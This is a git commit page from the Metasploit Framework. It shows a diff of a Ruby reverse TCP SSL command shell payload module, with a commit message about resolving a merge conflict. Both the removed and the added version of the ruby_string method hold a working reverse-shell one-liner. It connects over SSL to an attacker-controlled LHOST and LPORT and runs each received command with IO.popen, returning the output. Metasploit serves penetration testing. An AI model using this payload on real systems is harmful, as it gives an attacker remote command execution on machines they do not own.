Unconflicting ruby_string method
Looks like the conflict was created by the msftidy fixes that happened over on the master branch. No big deal after all.unstable
parent
cae6661574
commit
e149c8670b
|
@ -1,7 +1,3 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -24,7 +20,6 @@ module Metasploit3
|
|||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Ruby Command Shell, Reverse TCP SSL',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -46,9 +41,9 @@ module Metasploit3
|
|||
def ruby_string
|
||||
lhost = datastore['LHOST']
|
||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||
|
||||
"require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",#{datastore['LPORT'].to_i})).connect;"+
|
||||
"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
|
||||
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
|
||||
rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\","
|
||||
rbs << "\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
|
||||
return rbs
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue